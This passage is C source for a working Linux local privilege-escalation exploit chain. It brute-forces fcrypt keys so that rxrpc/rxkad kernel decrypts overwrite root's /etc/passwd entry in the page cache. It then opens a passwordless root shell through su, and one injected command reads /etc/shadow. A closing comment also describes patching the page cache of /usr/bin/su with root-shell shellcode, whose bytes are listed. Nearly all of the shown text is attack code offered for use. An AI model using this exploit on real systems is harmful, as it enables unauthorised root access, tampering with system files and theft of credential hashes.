0x6a, 0x1a, 0x85, 0xbd, 0xb6, 0xfd, 0xfe, 0x17, 0x3f, 0x09, 0xa3, 0x8d, 0xfb, 0xed, 0xda, 0x1d, 0x6d, 0x1c, 0x6c, 0x01, 0x5a, 0xe5, 0x71, 0x3e, 0x8b, 0x6b, 0xbe, 0x29, 0xeb, 0x12, 0x19, 0x34, 0xcd, 0xb3, 0xbd, 0x35, 0xea, 0x4b, 0xd5, 0xae, 0x2a, 0x79, 0x5a, 0xa5, 0x32, 0x12, 0x7b, 0xdc, 0x2c, 0xd0, 0x22, 0x4b, 0xb1, 0x85, 0x59, 0x80, 0xc0, 0x30, 0x9f, 0x73, 0xd3, 0x14, 0x48, 0x40, 0x07, 0x2d, 0x8f, 0x80, 0x0f, 0xce, 0x0b, 0x5e, 0xb7, 0x5e, 0xac, 0x24, 0x94, 0x4a, 0x18, 0x15, 0x05, 0xe8, 0x02, 0x77, 0xa9, 0xc7, 0x40, 0x45, 0x89, 0xd1, 0xea, 0xde, 0x0c, 0x79, 0x2a, 0x99, 0x6c, 0x3e, 0x95, 0xdd, 0x8c, 0x7d, 0xad, 0x6f, 0xdc, 0xff, 0xfd, 0x62, 0x47, 0xb3, 0x21, 0x8a, 0xec, 0x8e, 0x19, 0x18, 0xb4, 0x6e, 0x3d, 0xfd, 0x74, 0x54, 0x1e, 0x04, 0x85, 0xd8, 0xbc, 0x1f, 0x56, 0xe7, 0x3a, 0x56, 0x67, 0xd6, 0xc8, 0xa5, 0xf3, 0x8e, 0xde, 0xae, 0x37, 0x49, 0xb7, 0xfa, 0xc8, 0xf4, 0x1f, 0xe0, 0x2a, 0x9b, 0x15, 0xd1, 0x34, 0x0e, 0xb5, 0xe0, 0x44, 0x78, 0x84, 0x59, 0x56, 0x68, 0x77, 0xa5, 0x14, 0x06, 0xf5, 0x2f, 0x8c, 0x8a, 0x73, 0x80, 0x76, 0xb4, 0x10, 0x86, }; static const uint8_t fc_sbox3_raw[256] = { 0xa9, 0x2a, 0x48, 0x51, 0x84, 0x7e, 0x49, 0xe2, 0xb5, 0xb7, 0x42, 0x33, 0x7d, 0x5d, 0xa6, 0x12, 0x44, 0x48, 0x6d, 0x28, 0xaa, 0x20, 0x6d, 0x57, 0xd6, 0x6b, 0x5d, 0x72, 0xf0, 0x92, 0x5a, 0x1b, 0x53, 0x80, 0x24, 0x70, 0x9a, 0xcc, 0xa7, 0x66, 0xa1, 0x01, 0xa5, 0x41, 0x97, 0x41, 0x31, 0x82, 0xf1, 0x14, 0xcf, 0x53, 0x0d, 0xa0, 0x10, 0xcc, 0x2a, 0x7d, 0xd2, 0xbf, 0x4b, 0x1a, 0xdb, 0x16, 0x47, 0xf6, 0x51, 0x36, 0xed, 0xf3, 0xb9, 0x1a, 0xa7, 0xdf, 0x29, 0x43, 0x01, 0x54, 0x70, 0xa4, 0xbf, 0xd4, 0x0b, 0x53, 0x44, 0x60, 0x9e, 0x23, 0xa1, 0x18, 0x68, 0x4f, 0xf0, 0x2f, 0x82, 0xc2, 0x2a, 0x41, 0xb2, 0x42, 0x0c, 0xed, 0x0c, 0x1d, 0x13, 0x3a, 0x3c, 0x6e, 0x35, 0xdc, 0x60, 0x65, 0x85, 0xe9, 0x64, 0x02, 0x9a, 0x3f, 0x9f, 0x87, 0x96, 0xdf, 0xbe, 0xf2, 0xcb, 0xe5, 0x6c, 0xd4, 0x5a, 0x83, 0xbf, 0x92, 0x1b, 0x94, 0x00, 0x42, 0xcf, 0x4b, 0x00, 0x75, 0xba, 0x8f, 0x76, 0x5f, 0x5d, 0x3a, 0x4d, 0x09, 0x12, 0x08, 0x38, 0x95, 0x17, 0xe4, 0x01, 0x1d, 0x4c, 0xa9, 0xcc, 0x85, 0x82, 0x4c, 0x9d, 0x2f, 0x3b, 0x66, 0xa1, 0x34, 0x10, 0xcd, 0x59, 0x89, 0xa5, 0x31, 0xcf, 0x05, 0xc8, 0x84, 0xfa, 0xc7, 0xba, 0x4e, 0x8b, 0x1a, 0x19, 0xf1, 0xa1, 0x3b, 0x18, 0x12, 0x17, 0xb0, 0x98, 0x8d, 0x0b, 0x23, 0xc3, 0x3a, 0x2d, 0x20, 0xdf, 0x13, 0xa0, 0xa8, 0x4c, 0x0d, 0x6c, 0x2f, 0x47, 0x13, 0x13, 0x52, 0x1f, 0x2d, 0xf5, 0x79, 0x3d, 0xa2, 0x54, 0xbd, 0x69, 0xc8, 0x6b, 0xf3, 0x05, 0x28, 0xf1, 0x16, 0x46, 0x40, 0xb0, 0x11, 0xd3, 0xb7, 0x95, 0x49, 0xcf, 0xc3, 0x1d, 0x8f, 0xd8, 0xe1, 0x73, 0xdb, 0xad, 0xc8, 0xc9, 0xa9, 0xa1, 0xc2, 0xc5, 0xe3, 0xba, 0xfc, 0x0e, 0x25, }; static uint32_t fc_sbox0[256], fc_sbox1[256], fc_sbox2[256], fc_sbox3[256]; #include static void fcrypt_init_sboxes(void) { for (int i = 0; i < 256; i++) { fc_sbox0[i] = htobe32((uint32_t)fc_sbox0_raw[i] << 3); fc_sbox1[i] = htobe32(((uint32_t)(fc_sbox1_raw[i] & 0x1f) << 27) | ((uint32_t)fc_sbox1_raw[i] >> 5)); fc_sbox2[i] = htobe32((uint32_t)fc_sbox2_raw[i] << 11); fc_sbox3[i] = htobe32((uint32_t)fc_sbox3_raw[i] << 19); } } #define fc_ror56_64(k, n) \ (k = (k >> (n)) | ((k & ((1ULL << (n)) - 1)) << (56 - (n)))) typedef struct { uint32_t sched[16]; } fcrypt_uctx; static void fcrypt_user_setkey(fcrypt_uctx *ctx, const uint8_t key[8]) { uint64_t k = 0; k = (uint64_t)(key[0] >> 1); k <<= 7; k |= (uint64_t)(key[1] >> 1); k <<= 7; k |= (uint64_t)(key[2] >> 1); k <<= 7; k |= (uint64_t)(key[3] >> 1); k <<= 7; k |= (uint64_t)(key[4] >> 1); k <<= 7; k |= (uint64_t)(key[5] >> 1); k <<= 7; k |= (uint64_t)(key[6] >> 1); k <<= 7; k |= (uint64_t)(key[7] >> 1); ctx->sched[0x0] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0x1] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0x2] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0x3] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0x4] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0x5] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0x6] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0x7] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0x8] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0x9] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0xa] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0xb] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0xc] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0xd] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0xe] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0xf] = htobe32((uint32_t)k); } #define FC_F(R_, L_, sched_) do { \ union { uint32_t l; uint8_t c[4]; } u; \ u.l = (sched_) ^ (R_); \ L_ ^= fc_sbox0[u.c[0]] ^ fc_sbox1[u.c[1]] ^ \ fc_sbox2[u.c[2]] ^ fc_sbox3[u.c[3]]; \ } while (0) static void fcrypt_user_decrypt(const fcrypt_uctx *ctx, uint8_t out[8], const uint8_t in[8]) { uint32_t L, R; memcpy(&L, in, 4); memcpy(&R, in + 4, 4); FC_F(L, R, ctx->sched[0xf]); FC_F(R, L, ctx->sched[0xe]); FC_F(L, R, ctx->sched[0xd]); FC_F(R, L, ctx->sched[0xc]); FC_F(L, R, ctx->sched[0xb]); FC_F(R, L, ctx->sched[0xa]); FC_F(L, R, ctx->sched[0x9]); FC_F(R, L, ctx->sched[0x8]); FC_F(L, R, ctx->sched[0x7]); FC_F(R, L, ctx->sched[0x6]); FC_F(L, R, ctx->sched[0x5]); FC_F(R, L, ctx->sched[0x4]); FC_F(L, R, ctx->sched[0x3]); FC_F(R, L, ctx->sched[0x2]); FC_F(L, R, ctx->sched[0x1]); FC_F(R, L, ctx->sched[0x0]); memcpy(out, &L, 4); memcpy(out + 4, &R, 4); } /* For the 2-splice chain we want the line to have EXACTLY 6 ':' and a * shell field that equals "/bin/bash" (in /etc/shells, valid path). * The two splices interlock as: * * bytes 7..14 (offset 2800): P1 — sets uid=0, gid=1 digit, then * 4 random gecos-prefix bytes. * bytes 15..22 (offset 2808): P2 — wipes the original ':' at line * pos 16, preserves ':' at pos 21 and '/' at pos 22. * * Combined line: "test:x:0:G:GGGGGGGGGG:/home/test:/bin/bash" * pos 0 8 21 32 * * pw_uid=0, pw_gid=G, pw_dir="/home/test", pw_shell="/bin/bash". * Now `su -s /bin/bash test` proceeds through the restricted_shell() * check (because /bin/bash IS in /etc/shells) and exec()s /bin/bash * under uid=0. * * === 3-splice predicates === * * After applying splices A, B, C in order to /etc/passwd line 1 * (offsets 4, 6, 8 — each 8 bytes, last-write-wins), the final state * of chars 4..15 is determined by these P bytes: * * char 4 = P_A[0] want: ':' * char 5 = P_A[1] want: ':' * char 6 = P_B[0] want: '0' (overwrites P_A[2]) * char 7 = P_B[1] want: ':' (overwrites P_A[3]) * char 8 = P_C[0] want: '0' (overwrites P_A[4]/P_B[2]) * char 9 = P_C[1] want: ':' (overwrites P_A[5]/P_B[3]) * char 10..14 = P_C[2..6] want: any byte except ':' '\0' '\n' * char 15 = P_C[7] want: ':' * * The constraints on P_A[2..7] and P_B[2..7] are vacuous because they * are overwritten before /etc/passwd is read by anyone — we only care * about the final state. */ static inline int fc_check_pa_nullok(const uint8_t P[8]) { return P[0] == ':' && P[1] == ':'; } static inline int fc_check_pb_nullok(const uint8_t P[8]) { return P[0] == '0' && P[1] == ':'; } static inline int fc_check_pc_nullok(const uint8_t P[8]) { if (P[0] != '0') return 0; if (P[1] != ':') return 0; if (P[7] != ':') return 0; for (int i = 2; i < 7; i++) { if (P[i] == ':' || P[i] == '\0' || P[i] == '\n') return 0; } return 1; } static uint64_t fc_splitmix64(uint64_t *s) { uint64_t z = (*s += 0x9E3779B97F4A7C15ULL); z = (z ^ (z >> 30)) * 0xBF58476D1CE4E5B9ULL; z = (z ^ (z >> 27)) * 0x94D049BB133111EBULL; return z ^ (z >> 31); } /* Generic brute-force. `predicate` decides if a P is acceptable. */ typedef int (*pcheck_fn)(const uint8_t P[8]); static int find_K_offline_generic(const uint8_t C[8], uint64_t max_iters, pcheck_fn check, uint8_t K_out[8], uint8_t P_out[8], uint64_t seed_init, const char *label) { fcrypt_uctx ctx; uint8_t K[8], P[8]; uint64_t seed = seed_init; struct timespec ts0, ts1; clock_gettime(CLOCK_MONOTONIC, &ts0); for (uint64_t iter = 0; iter < max_iters; iter++) { uint64_t r = fc_splitmix64(&seed); memcpy(K, &r, 8); fcrypt_user_setkey(&ctx, K); fcrypt_user_decrypt(&ctx, P, C); if (check(P)) { memcpy(K_out, K, 8); memcpy(P_out, P, 8); clock_gettime(CLOCK_MONOTONIC, &ts1); double dt = (ts1.tv_sec - ts0.tv_sec) + (ts1.tv_nsec - ts0.tv_nsec) / 1e9; LOG("%s found after %lu iters in %.2fs (%.2fM/s) K=%02x%02x%02x%02x%02x%02x%02x%02x P=%02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"", label, (unsigned long)iter, dt, iter / dt / 1e6, K[0],K[1],K[2],K[3],K[4],K[5],K[6],K[7], P[0],P[1],P[2],P[3],P[4],P[5],P[6],P[7], (P[0]>=32&&P[0]<127)?P[0]:'.', (P[1]>=32&&P[1]<127)?P[1]:'.', (P[2]>=32&&P[2]<127)?P[2]:'.', (P[3]>=32&&P[3]<127)?P[3]:'.', (P[4]>=32&&P[4]<127)?P[4]:'.', (P[5]>=32&&P[5]<127)?P[5]:'.', (P[6]>=32&&P[6]<127)?P[6]:'.', (P[7]>=32&&P[7]<127)?P[7]:'.'); return 0; } if ((iter & 0x3ffffff) == 0 && iter > 0) { clock_gettime(CLOCK_MONOTONIC, &ts1); double dt = (ts1.tv_sec - ts0.tv_sec) + (ts1.tv_nsec - ts0.tv_nsec) / 1e9; fprintf(stderr, " [%s %.1fs] iter=%lu (%.2fM/s)\n", label, dt, (unsigned long)iter, iter / dt / 1e6); } } return -1; } int rxrpc_lpe_main(int argc, char **argv) { fprintf(stderr, "\n=== rxrpc/rxkad LPE EXPLOIT (uid=1000 → root) ===\n"); fprintf(stderr, "[*] uid=%u euid=%u gid=%u\n", getuid(), geteuid(), getgid()); { const char *no_unshare = getenv("POC_NO_UNSHARE"); if (!no_unshare || *no_unshare != '1') { const char *do_unshare = getenv("POC_UNSHARE"); if (do_unshare && *do_unshare == '1') { if (do_unshare_userns_netns() < 0) return 1; } } } /* Open a dummy AF_RXRPC socket to autoload the rxrpc kernel module. * Without this, the first add_key("rxrpc", ...) call fails with ENODEV * because the kernel key type "rxrpc" is registered by rxrpc_init() in * the module load path. */ { int dummy = socket(AF_RXRPC, SOCK_DGRAM, PF_INET); if (dummy < 0) { WARN("socket(AF_RXRPC): %s — module not loadable?", strerror(errno)); return 1; } close(dummy); LOG("rxrpc module autoloaded via dummy socket(AF_RXRPC)"); } /* Open /etc/passwd RO and mmap the first page (which contains the * root entry on line 1). */ const char *target_path = getenv("POC_TARGET_FILE"); if (!target_path || !*target_path) target_path = "/etc/passwd"; int rfd_ro = open(target_path, O_RDONLY); if (rfd_ro < 0) { WARN("open %s RO: %s", target_path, strerror(errno)); return 1; } struct stat st; fstat(rfd_ro, &st); if (st.st_size < 32) { WARN("target too small: %lld", (long long)st.st_size); return 1; } LOG("target %s opened RO, size=%lld, uid=%u gid=%u mode=%04o", target_path, (long long)st.st_size, st.st_uid, st.st_gid, st.st_mode & 07777); /* mmap first page so the page-cache page stays pinned. */ void *map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, rfd_ro, 0); if (map == MAP_FAILED) { WARN("mmap: %s", strerror(errno)); return 1; } LOG("mmap'd %s page-cache at %p (PROT_READ|MAP_SHARED)", target_path, map); /* If a previous attempt already left the root entry in the patched * "root::0:0:..." form, treat as success and skip the brute-force / * trigger stages. Otherwise proceed regardless of current state — * the brute-force re-derives K_A/K_B/K_C from whatever bytes are * currently at offsets 4/6/8 of the page-cache page, so it works * even on the corrupt residue from a previous failed run. */ { const char *m = (const char *)map; if (memcmp(m, "root::0:0", 9) == 0) { LOG("/etc/passwd already patched (root::0:0...) — nothing to do"); return 0; } LOG("/etc/passwd line 1 first 16 bytes:"); for (int i = 0; i < 16; i++) fprintf(stderr, "%02x ", (uint8_t)m[i]); fprintf(stderr, "\n"); } fprintf(stderr, "[*] /etc/passwd line 1 (root entry) BEFORE: '"); for (int i = 0; i < 32; i++) { char c = ((const char *)map)[i]; fputc((c == '\n') ? '$' : (c >= 32 && c < 127 ? c : '.'), stderr); } fprintf(stderr, "'\n"); /* === STAGE 1 — THREE-SPLICE OFFLINE BRUTE FORCE === * * Read THREE 8-byte ciphertexts at file offsets 4, 6, 8. Search * independently for K_A (chars 4-5 = "::"), K_B (chars 6-7 = "0:"), * K_C (chars 8-15 = "0:GGGGGG:" with G non-control). All searches * are user-space only — no kernel/VM interaction. * * Last-write-wins ordering: trigger A first (covers 4..11), then B * (covers 6..13 — overrides A's 6..11), then C (covers 8..15 — * overrides A's 8..11 and B's 8..13). Final state of chars 4..15: * chars 4..5 = P_A[0..1] * chars 6..7 = P_B[0..1] * chars 8..15 = P_C[0..7] * =================================================================*/ uint8_t Ca[8], Cb[8], Cc[8]; int off_a = 4, off_b = 6, off_c = 8; if (pread(rfd_ro, Ca, 8, off_a) != 8) { WARN("pread Ca: %s", strerror(errno)); return 1; } if (pread(rfd_ro, Cb, 8, off_b) != 8) { WARN("pread Cb: %s", strerror(errno)); return 1; } if (pread(rfd_ro, Cc, 8, off_c) != 8) { WARN("pread Cc: %s", strerror(errno)); return 1; } LOG("Ca @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"", off_a, Ca[0],Ca[1],Ca[2],Ca[3],Ca[4],Ca[5],Ca[6],Ca[7], (Ca[0]>=32&&Ca[0]<127)?Ca[0]:'.', (Ca[1]>=32&&Ca[1]<127)?Ca[1]:'.', (Ca[2]>=32&&Ca[2]<127)?Ca[2]:'.', (Ca[3]>=32&&Ca[3]<127)?Ca[3]:'.', (Ca[4]>=32&&Ca[4]<127)?Ca[4]:'.', (Ca[5]>=32&&Ca[5]<127)?Ca[5]:'.', (Ca[6]>=32&&Ca[6]<127)?Ca[6]:'.', (Ca[7]>=32&&Ca[7]<127)?Ca[7]:'.'); LOG("Cb @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"", off_b, Cb[0],Cb[1],Cb[2],Cb[3],Cb[4],Cb[5],Cb[6],Cb[7], (Cb[0]>=32&&Cb[0]<127)?Cb[0]:'.', (Cb[1]>=32&&Cb[1]<127)?Cb[1]:'.', (Cb[2]>=32&&Cb[2]<127)?Cb[2]:'.', (Cb[3]>=32&&Cb[3]<127)?Cb[3]:'.', (Cb[4]>=32&&Cb[4]<127)?Cb[4]:'.', (Cb[5]>=32&&Cb[5]<127)?Cb[5]:'.', (Cb[6]>=32&&Cb[6]<127)?Cb[6]:'.', (Cb[7]>=32&&Cb[7]<127)?Cb[7]:'.'); LOG("Cc @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"", off_c, Cc[0],Cc[1],Cc[2],Cc[3],Cc[4],Cc[5],Cc[6],Cc[7], (Cc[0]>=32&&Cc[0]<127)?Cc[0]:'.', (Cc[1]>=32&&Cc[1]<127)?Cc[1]:'.', (Cc[2]>=32&&Cc[2]<127)?Cc[2]:'.', (Cc[3]>=32&&Cc[3]<127)?Cc[3]:'.', (Cc[4]>=32&&Cc[4]<127)?Cc[4]:'.', (Cc[5]>=32&&Cc[5]<127)?Cc[5]:'.', (Cc[6]>=32&&Cc[6]<127)?Cc[6]:'.', (Cc[7]>=32&&Cc[7]<127)?Cc[7]:'.'); fcrypt_init_sboxes(); /* selftest */ { fcrypt_uctx ctx; uint8_t z[8] = {0}; uint8_t cv[8] = { 0x0E, 0x09, 0x00, 0xC7, 0x3E, 0xF7, 0xED, 0x41 }; uint8_t pv[8]; fcrypt_user_setkey(&ctx, z); fcrypt_user_decrypt(&ctx, pv, cv); if (memcmp(pv, z, 8) != 0) { WARN("fcrypt selftest FAILED"); return 1; } } LOG("fcrypt selftest OK"); uint8_t Ka[8], Pa_out[8]; uint8_t Kb[8], Pb_out[8]; uint8_t Kc[8], Pc_out[8]; uint8_t Cb_actual[8], Cc_actual[8]; { uint64_t max_iters = 10000000000ULL; const char *e = getenv("LPE_MAX_ITERS"); if (e) max_iters = strtoull(e, NULL, 0); uint64_t seed_base = (uint64_t)time(NULL) * 0x100000001ULL ^ (uint64_t)getpid(); const char *se = getenv("LPE_SEED"); if (se) seed_base = strtoull(se, NULL, 0); fprintf(stderr, "\n=== STAGE 1a: search K_A (chars 4-5 := \"::\") prob ~1.5e-5 ===\n"); if (find_K_offline_generic(Ca, max_iters, fc_check_pa_nullok, Ka, Pa_out, seed_base, "K_A") != 0) { WARN("K_A search exhausted"); return 2; } /* After splice A is applied, the ciphertext that splice B will * see at file offset 6 is NOT the original Cb — it's the bytes * that splice A wrote to file offsets 6..11 (= Pa[2..7]) plus * the original bytes 12..13 (= Cb[6..7]). We must derive * Cb_actual and search K_B against it. */ memcpy(Cb_actual, Pa_out + 2, 6); memcpy(Cb_actual + 6, Cb + 6, 2); LOG("Cb_actual (after splice A) = %02x%02x%02x%02x%02x%02x%02x%02x", Cb_actual[0],Cb_actual[1],Cb_actual[2],Cb_actual[3], Cb_actual[4],Cb_actual[5],Cb_actual[6],Cb_actual[7]); fprintf(stderr, "\n=== STAGE 1b: search K_B (chars 6-7 := \"0:\") prob ~1.5e-5 ===\n"); if (find_K_offline_generic(Cb_actual, max_iters, fc_check_pb_nullok, Kb, Pb_out, seed_base ^ 0xa5a5a5a5a5a5a5a5ULL, "K_B") != 0) { WARN("K_B search exhausted"); return 2; } /* Same chaining logic for splice C: after splice B, file offsets * 8..13 hold Pb[2..7]; offsets 14..15 still hold the original * bytes Cc[6..7]. */ memcpy(Cc_actual, Pb_out + 2, 6); memcpy(Cc_actual + 6, Cc + 6, 2); LOG("Cc_actual (after splice B) = %02x%02x%02x%02x%02x%02x%02x%02x", Cc_actual[0],Cc_actual[1],Cc_actual[2],Cc_actual[3], Cc_actual[4],Cc_actual[5],Cc_actual[6],Cc_actual[7]); fprintf(stderr, "\n=== STAGE 1c: search K_C (chars 8-15 := \"0:GGGGGG:\") prob ~5.4e-8 ===\n"); if (find_K_offline_generic(Cc_actual, max_iters, fc_check_pc_nullok, Kc, Pc_out, seed_base ^ 0x5a5a5a5a5a5a5a5aULL, "K_C") != 0) { WARN("K_C search exhausted"); return 2; } } fprintf(stderr, "\n[+] Predicted post-corruption /etc/passwd line 1:\n \"root"); /* chars 4-5 from P_A */ for (int i = 0; i < 2; i++) fputc((Pa_out[i]>=32&&Pa_out[i]<127)?Pa_out[i]:'.', stderr); /* chars 6-7 from P_B */ for (int i = 0; i < 2; i++) fputc((Pb_out[i]>=32&&Pb_out[i]<127)?Pb_out[i]:'.', stderr); /* chars 8-15 from P_C */ for (int i = 0; i < 8; i++) fputc((Pc_out[i]>=32&&Pc_out[i]<127)?Pc_out[i]:'.', stderr); fprintf(stderr, "/root:/bin/bash\"\n"); /* === STAGE 2 — THREE KERNEL TRIGGERS (in order A → B → C) === * Each trigger does a single in-place decrypt at the * indicated /etc/passwd file offset. Last-write-wins on overlapping * bytes determines the final state. */ fprintf(stderr, "\n=== STAGE 2a: kernel trigger A @ off %d (set chars 4-5 \"::\") ===\n", off_a); memcpy(SESSION_KEY, Ka, 8); if (do_one_trigger(rfd_ro, off_a, 8) < 0) { WARN("kernel trigger A failed"); return 3; } fprintf(stderr, "\n=== STAGE 2b: kernel trigger B @ off %d (set chars 6-7 \"0:\") ===\n", off_b); memcpy(SESSION_KEY, Kb, 8); if (do_one_trigger(rfd_ro, off_b, 8) < 0) { WARN("kernel trigger B failed"); return 3; } fprintf(stderr, "\n=== STAGE 2c: kernel trigger C @ off %d (set chars 8-15 \"0:GGGGGG:\") ===\n", off_c); memcpy(SESSION_KEY, Kc, 8); if (do_one_trigger(rfd_ro, off_c, 8) < 0) { WARN("kernel trigger C failed"); return 3; } /* Verify: re-read line 1 of /etc/passwd via mmap. */ fprintf(stderr, "[*] /etc/passwd line 1 (root entry) AFTER: '"); for (int i = 0; i < 32; i++) { char c = ((const char *)map)[i]; fputc((c == '\n') ? '$' : (c >= 32 && c < 127 ? c : '.'), stderr); } fprintf(stderr, "'\n"); /* Sanity-check: chars 4-5 = "::", 6-7 = "0:", 8-9 = "0:", 15 = ':'. */ { const char *m = (const char *)map; int ok = (m[4] == ':' && m[5] == ':' && m[6] == '0' && m[7] == ':' && m[8] == '0' && m[9] == ':' && m[15] == ':'); if (!ok) { WARN("post-trigger sanity check failed — char layout off"); return 4; } } fprintf(stderr, "\n[!!!] HIT — root entry now has empty passwd field, uid=0, " "gid=0, dir=/root, shell=/bin/bash.\n"); /* === STAGE 3 — VERIFY VIA getent passwd root === */ fprintf(stderr, "\n=== STAGE 3: independent verify via `getent passwd root` ===\n"); { int p[2]; if (pipe(p) == 0) { pid_t pid = fork(); if (pid == 0) { close(p[0]); dup2(p[1], 1); dup2(p[1], 2); close(p[1]); execlp("getent", "getent", "passwd", "root", NULL); _exit(127); } close(p[1]); char buf[1024]; ssize_t r = read(p[0], buf, sizeof(buf) - 1); close(p[0]); int wstatus = 0; waitpid(pid, &wstatus, 0); if (r > 0) { buf[r] = 0; fprintf(stderr, "[getent passwd root] %s", buf); } fprintf(stderr, "[+] PRIMITIVE proven: root entry has empty passwd field " "via NSS.\n"); } } /* Honour `--corrupt-only` arg or DIRTYFRAG_CORRUPT_ONLY=1 env so * the chain wrapper can skip the in-process su PTY stage and exec * /usr/bin/su itself. Avoids the flaky posix_openpt bridge. */ { int co_flag = 0; for (int i = 1; i < argc; i++) if (!strcmp(argv[i], "--corrupt-only")) { co_flag = 1; break; } const char *e = getenv("DIRTYFRAG_CORRUPT_ONLY"); if (e && *e == '1') co_flag = 1; if (co_flag) return 0; } /* === STAGE 4 — `su` (target=root, no password input) === * PAM common-auth contains "auth [success=2 default=ignore] * pam_unix.so nullok" — so a target user with empty passwd field * + nullok flag accepts an empty password. We auto-inject a * single newline on the "Password:" prompt and then bridge the * resulting bash to the user's tty. */ fprintf(stderr, "\n=== STAGE 4: spawning interactive root shell via `su` " "(no password input needed) ===\n\n"); fflush(stderr); int master = posix_openpt(O_RDWR | O_NOCTTY); if (master < 0 || grantpt(master) < 0 || unlockpt(master) < 0) { WARN("posix_openpt: %s", strerror(errno)); return 5; } char *slave_name = ptsname(master); struct winsize ws; if (ioctl(STDIN_FILENO, TIOCGWINSZ, &ws) == 0) { ioctl(master, TIOCSWINSZ, &ws); } pid_t pid = fork(); if (pid < 0) { WARN("fork: %s", strerror(errno)); return 5; } if (pid == 0) { /* child */ setsid(); int slave = open(slave_name, O_RDWR); if (slave < 0) _exit(127); ioctl(slave, TIOCSCTTY, 0); dup2(slave, 0); dup2(slave, 1); dup2(slave, 2); if (slave > 2) close(slave); close(master); /* `su` with no args targets root. PAM common-auth's pam_unix.so * nullok accepts the empty passwd we planted in /etc/passwd. */ execlp("su", "su", NULL); _exit(127); } /* parent: bridge user's tty <-> master. */ struct termios saved_termios; int saved_termios_ok = (tcgetattr(STDIN_FILENO, &saved_termios) == 0); if (saved_termios_ok) { struct termios raw = saved_termios; cfmakeraw(&raw); tcsetattr(STDIN_FILENO, TCSANOW, &raw); } int auto_pw_sent = 0; int stdin_eof = 0; /* set when stdin closes (e.g. /dev/null) */ char buf[4096]; /* If LPE_AUTO_VERIFY=1 is set, the bridge will inject * `id; whoami; exit\n` so it can prove uid=0 non-interactively * (e.g. when stdin is /dev/null in CI). */ int auto_verify = 0; { const char *e = getenv("LPE_AUTO_VERIFY"); if (e && *e == '1') auto_verify = 1; } int verify_sent = 0; int total_ms = 0; for (;;) { struct pollfd pfds[2] = { { stdin_eof ? -1 : STDIN_FILENO, POLLIN, 0 }, { master, POLLIN, 0 }, }; int pr = poll(pfds, 2, 200); if (pr < 0 && errno != EINTR) break; total_ms += 200; if (pfds[1].revents & POLLIN) { ssize_t n = read(master, buf, sizeof(buf)); if (n <= 0) break; (void)write(STDOUT_FILENO, buf, n); if (!auto_pw_sent && (size_t)n < sizeof(buf)) { buf[n] = 0; if (strstr(buf, "Password") || strstr(buf, "password")) { /* Empty password — PAM nullok will accept it. * (When pam_unix sees an empty passwd field plus * nullok it skips the prompt entirely; this branch * handles the case where some other PAM module * prints a prompt anyway.) */ (void)write(master, "\n", 1); auto_pw_sent = 1; } } } if (!stdin_eof && (pfds[0].revents & POLLIN)) { ssize_t n = read(STDIN_FILENO, buf, sizeof(buf)); if (n <= 0) { /* stdin EOF — stop reading from it but keep bridging * master → stdout so su can still finish auth and run * the optional auto-verify command. */ stdin_eof = 1; } else { (void)write(master, buf, n); } } if (pfds[1].revents & (POLLHUP | POLLERR)) break; /* Auto-verify: ~1 s after spawn, send `id; whoami; exit\n` so * the bridge captures uid=0 evidence non-interactively even * when pam_unix's blank-passwd path skips the prompt. */ if (auto_verify && !verify_sent && total_ms >= 1000) { const char cmd[] = "id; whoami; cat /etc/shadow | head -2; exit\n"; (void)write(master, cmd, sizeof(cmd) - 1); verify_sent = 1; } int status; pid_t w = waitpid(pid, &status, WNOHANG); if (w == pid) { for (int i = 0; i < 5; i++) { struct pollfd pf = { master, POLLIN, 0 }; if (poll(&pf, 1, 50) <= 0) break; ssize_t n = read(master, buf, sizeof(buf)); if (n <= 0) break; (void)write(STDOUT_FILENO, buf, n); } break; } } if (saved_termios_ok) { tcsetattr(STDIN_FILENO, TCSANOW, &saved_termios); } close(master); return 0; } /* * CVE-2026 chain — uid=1000 → root. * * 1. ESP path (authencesn AF_ALG --corrupt-only): overwrites the first * 160 bytes of /usr/bin/su's page-cache with a static x86_64 root- * shell ELF. Works on every distro tested regardless of PAM nullok * or /etc/passwd contents — once invoked, the patched setuid-root * /usr/bin/su just execs /bin/sh as uid 0. * * 2. rxrpc path (Ubuntu fallback): if AF_ALG is sandboxed and the ESP * path can't reach the page cache, fall back to the rxrpc/rxkad * nullok primitive that patches /etc/passwd's root entry empty. * PAM nullok then accepts the empty password during `su -`. * * 3. Once either target is corrupted, spawn `/usr/bin/su -` inside a * fresh PTY and bridge the user's tty to it. The bridge handles * both the patched-su (no PAM at all) and the patched-passwd (PAM * nullok) cases uniformly, and works even when the caller is in a * background process group of an ssh-allocated PTY. * */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include extern int su_lpe_main(int argc, char **argv); extern int rxrpc_lpe_main(int argc, char **argv); /* * The 8 bytes our su payload places at file offset 0x78 — the first * instructions of the embedded shell ELF. Sequence: * 31 ff xor edi, edi * 31 f6 xor esi, esi * 31 c0 xor eax, eax * b0 6a mov al, 0x6a (setgid) * Distros' original /usr/bin/su has different bytes here, so this is * a reliable post-patch marker. * * (We don't check offset 0 because /usr/bin/su already has the ELF * magic there — both before and after we patch.) */ static const uint8_t su_marker[8] = { 0x31, 0xff, 0x31, 0xf6, 0x31, 0xc0, 